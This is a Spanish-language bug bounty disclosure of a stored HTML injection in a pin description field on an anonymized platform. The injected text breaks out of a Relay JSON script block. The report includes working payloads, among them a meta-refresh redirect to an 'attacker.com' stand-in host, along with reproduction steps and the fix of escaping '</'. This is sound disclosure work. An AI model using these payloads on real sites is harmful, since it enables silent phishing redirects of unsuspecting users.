📅 Fecha del reporte: 3 de febrero de 2026 | Plataforma: Pentires.com (Bug Bounty) | Severidad: Alta
🔒 Nota de anonimización: Este reporte ha sido publicado con los datos del cliente modificados para proteger su privacidad. El dominio real ha sido sustituido por pentires.com y los IDs de Pin son ficticios. La técnica y los hallazgos son reales y fueron reportados a través del programa de Bug Bounty oficial.
zedeq — política de divulgación responsable
Resumen del Hallazgo
Descubrí una vulnerabilidad de inyección de HTML almacenada (Stored HTML Injection) en el campo de descripción de los Pins de Pentires.com. El payload se almacena sin sanitización y se serializa dentro de un bloque <script> de datos Relay. Al contener la secuencia </script>, el atacante cierra prematuramente el bloque JSON y puede inyectar HTML arbitrario en el DOM.
La vulnerabilidad afecta a dos URLs distintas con vectores de impacto diferentes, siendo la URL canónica del Pin (sin /analytics) la más grave al afectar a cualquier usuario no autenticado que reciba el enlace por cualquier canal.
Pre-Requisito: Cuenta Business Gratuita
El endpoint /analytics sólo está disponible en cuentas Business. Sin embargo, la conversión es gratuita e instantánea:
- Crear una cuenta gratuita en Pentires.com
- Ir a Configuración → Convertir a cuenta Business (gratuito, instantáneo)
- Crear un Pin — esto desbloquea el endpoint
/analytics
⚠️ Importante: la URL canónica /pin/[ID]/ afecta a usuarios no autenticados sin necesidad de cuenta Business — cualquier usuario puede crear un Pin estándar.
Mecanismo de la Inyección
El campo descripción del Pin se serializa sin escapar dentro de un bloque <script type="text/javascript"> de datos Relay. La secuencia </script> en el payload cierra el bloque del script y permite insertar HTML directamente en el DOM:
<!-- Payload 1: Prueba de concepto (HTML injection) -->
</script><h1>vulnerable</h1>
<!-- Payload 2: Open redirect silencioso (máximo impacto) -->
</script><meta http-equiv="refresh" content="0;url=https://attacker.com">
<!-- Mecanismo: el campo descripción se serializa sin escapar
dentro de un bloque <script> de datos Relay (JSON):
window.__PWS_RELAY_REGISTER_COMPLETED_REQUEST__(
"..."description":"</script><h1>vulnerable</h1>..."
);
El cierre </script> rompe el bloque JSON y permite
inyectar HTML arbitrario en el DOM. -->HTMLPaso 1 — Punto de Inyección
Editar o crear un Pin e introducir el payload en el campo descripción. El contenido se almacena tal cual en el backend:
# PUNTO DE INYECCIÓN — campo descripción del Pin
# URL: https://pentires.com/pin/[ID]/
Payload básico (HTML injection):
</script><h1>vulnerable</h1>
Payload de redirección (máximo impacto):
</script><meta http-equiv="refresh" content="0;url=https://attacker.com">Paso 2 — Punto de Ejecución: /analytics
Al visitar la URL de analytics del Pin, el HTML inyectado se renderiza en el navegador. No se requiere login:
# PUNTO DE EJECUCIÓN — endpoint de analytics
# URL: https://pentires.com/pin/[ID]/analytics
# Acceso: sin login requerido (público)
# Verificación en fuente de la página:
$ curl -s "https://pentires.com/pin/[ID]/analytics" | grep -i "vulnerable"
<h1>vulnerable</h1> ← HTML inyectado renderizando en el navegadorPaso 3 — Superficie Ampliada: URL Canónica del Pin
Durante pruebas adicionales confirmé que la inyección también ejecuta en la URL canónica del Pin para usuarios no autenticados. Esta URL es la que se comparte por defecto en todas las plataformas:
# EJECUCIÓN TAMBIÉN EN URL CANÓNICA (hallazgo ampliado)
# URL: https://pentires.com/pin/[ID]/
# Afecta a: usuarios NO autenticados
# Con payload de redirección activo:
# 1. Víctima recibe enlace: https://pentires.com/pin/[ID]/
# 2. Browser muestra pentires.com en la barra de direcciones
# 3. Meta-refresh redirige silenciosamente a dominio del atacante
# 4. Víctima nunca sospecha — la URL de origen era legítimaURLs Afectadas
# URLs afectadas (anonimizadas)
# ─────────────────────────────────────────────────────────
# URL 1 — Analytics endpoint (todos los usuarios)
https://pentires.com/pin/[ID]/analytics
→ Requiere: cuenta Business gratuita para crear el Pin
→ Afecta: cualquier usuario (autenticado o no)
→ Indexada: sí, por motores de búsqueda
# URL 2 — URL canónica del Pin (usuarios no autenticados) ← NUEVA
https://pentires.com/pin/[ID]/
→ Requiere: nada — URL estándar de cualquier Pin
→ Afecta: usuarios NO logueados
→ Indexada: sí (URL principal de SEO de cada Pin)
→ Compartida en: WhatsApp, Twitter, email, SMS, etc.Evidencia en Código Fuente
La siguiente captura muestra el código fuente de la página afectada. Se puede observar cómo el bloque <script> de datos Relay es interrumpido por el payload, y el texto <h1>VULNERABLE</h1> aparece renderizado directamente en el DOM:
↓ Captura del Inspector de Elementos mostrando el HTML inyectado ejecutándose en la página


Resumen de Impacto
La siguiente tabla resume los vectores de ataque según el tipo de usuario afectado:
| Vector | URL afectada | Usuarios afectados | Login requerido | Indexada |
|---|---|---|---|---|
| Analytics endpoint | /pin/[ID]/analytics | Todos | ❌ No | ✅ Sí |
| URL canónica ← NUEVO | /pin/[ID]/ | No autenticados | ❌ No | ✅ Sí |
Con el payload de redirección (<meta http-equiv="refresh">), cualquier usuario que visite un enlace legítimo de pentires.com/pin/[ID]/ es redirigido silenciosamente a un dominio externo mientras la barra de URL del navegador sigue mostrando el dominio confiable.
Diagrama de Flujo del Ataque
↓ Diagrama ilustrativo del flujo completo de la inyección almacenada
![Diagrama de flujo completo: fase de almacenamiento del payload en el campo descripción y fase de ejecución en /analytics y /pin/[ID]/ para usuarios no autenticados](https://www.dmz-zedeq.com/wp-content/uploads/2026/05/pentires-stored-html-injection-flow.png)

Conclusión
Este hallazgo demuestra que incluso en plataformas con grandes programas de Bug Bounty, la sanitización de campos de texto almacenado puede presentar puntos ciegos. El vector más crítico es la URL canónica del Pin, que es la misma que millones de usuarios comparten a diario en redes sociales, mensajería y correo electrónico.
🔐 Lección clave: Cualquier dato controlado por el usuario que se serialice dentro de un bloque <script> debe ser codificado para JSON de forma correcta, escapando al menos los caracteres </ como \u003C/ para evitar la ruptura del contexto del script.
